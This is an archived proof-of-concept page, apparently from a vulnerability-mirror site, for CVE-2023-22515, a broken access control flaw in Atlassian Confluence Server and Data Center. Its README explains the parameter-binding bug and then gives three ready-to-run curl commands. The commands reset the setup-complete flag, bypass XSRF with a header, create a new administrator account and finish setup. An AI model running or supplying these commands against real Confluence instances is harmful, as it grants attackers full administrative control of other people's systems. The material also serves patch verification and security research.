CVE-2023-22515 PoC — Atlassian Confluence Server 安全漏洞

Source

https://github.com/j3seer/CVE-2023-22515-POC

Associated Vulnerability

Title:Atlassian Confluence Server 安全漏洞 (CVE-2023-22515)
Description:Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能，并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server存在安全漏洞，该漏洞源于外部攻击者可能利用可公开访问的Confluence Data Center和Confluence Serve，用未知的漏洞来创建Confluence 管理员帐户并访问 Confluence 实例。

Description

Poc for CVE-2023-22515

Readme

# CVE-2023-22515

CVE-2023-22515, a critical vulnerability affecting on-premises instances of Confluence Server and Confluence Data Center, a Broken Access Control vulnerability. Attlassian has provided a CVSS base score of 10.0

# Exploit

## Brief explanation:

1- Due to how Xwork interceptors parses parameters  `/test.action?one=a` equals to `setOne()='a'` alternatively `/test.action?one.two=a` equals to `getOne().setTwo()="a"`

2- `/setup/*` endpoints include a `@ParameterSafe` call which allows us to use the `set` and `get` like in `/setup/setupdb.action?dbConfigInfo.databaseType=postgresql`, however since /setup/* endpoints are blocked because the setup is complete, `/server-info.action` can be used

3- Find the set method for complete setup => `getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);`

4- Use the "X-Atlassian-Token" header to bypass XSRF

```bash
curl http://localhost/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\; 

curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&email=leet@leet.com&password=leet&confirm=leet&setup-next-button=Next" http://localhost/setup/setupadministrator.action\; 

curl -X POST -H "X-Atlassian-Token: no-check" http://localhost/setup/finishsetup.action

```

# Refrences

**DISCLAIMER:** Exploit wasn't discovered or made by me credit go to the articles below

https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis

https://blog.s1r1us.ninja/research/brokenconflu

File Snapshot


 [4.0K]  /data/pocs/27f6b761e0b3714ef5c8198cdde3635ce5781dac
├── [ 935]  CVE-2023-22515.yaml
└── [1.5K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!